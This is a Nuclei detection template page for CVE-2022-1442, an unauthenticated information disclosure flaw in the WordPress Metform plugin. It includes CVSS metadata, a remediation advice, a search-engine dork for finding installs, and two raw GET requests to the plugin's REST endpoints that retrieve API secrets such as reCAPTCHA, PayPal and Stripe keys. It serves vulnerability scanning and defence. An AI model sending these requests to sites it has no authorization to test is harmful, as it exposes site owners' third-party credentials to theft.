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WordPress Metform <=2.1.3 - Information Disclosure

ID: CVE-2022-1442

Severity: high

Author: theamanrawat

Tags: cve,cve2022,wpscan,wordpress,wp-plugin,disclosure,unauth,metform,wp,wpmet

Description

Section titled “Description”

WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.

YAML Source

Section titled “YAML Source”
id: CVE-2022-1442


info:
  name: WordPress Metform <=2.1.3 - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability.
  reference:
    - https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf
    - https://wpscan.com/vulnerability/9f3fcdd4-9ddc-45d5-a4af-e58634813c2b
    - https://wordpress.org/plugins/metform/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1442
    - https://plugins.trac.wordpress.org/changeset/2711944/metform/trunk/core/forms/action.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1442
    cwe-id: CWE-862
    epss-score: 0.04148
    epss-percentile: 0.92177
    cpe: cpe:2.3:a:wpmet:metform_elementor_contact_form_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: metform_elementor_contact_form_builder
    framework: wordpress
    google-query: inurl:/wp-content/plugins/metform
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,disclosure,unauth,metform,wp,wpmet


http:
  - raw:
      - |
        GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "mf_recaptcha_secret_key"
          - "admin_email_from"
        condition: and


      - type: word
        part: header_2
        words:
          - "application/json"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '<option value=\"([0-9]+)\"'
        internal: true
# digest: 490a0046304402205a9832ee6a3a80b890408e9fd7ec2e18e0c09dad19c378a94b9686662ee2aef2022016166acdcccd7143ebea3feee1e22eeb201cb41f0844178ea7a245caf7a83f76:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1442.yaml"

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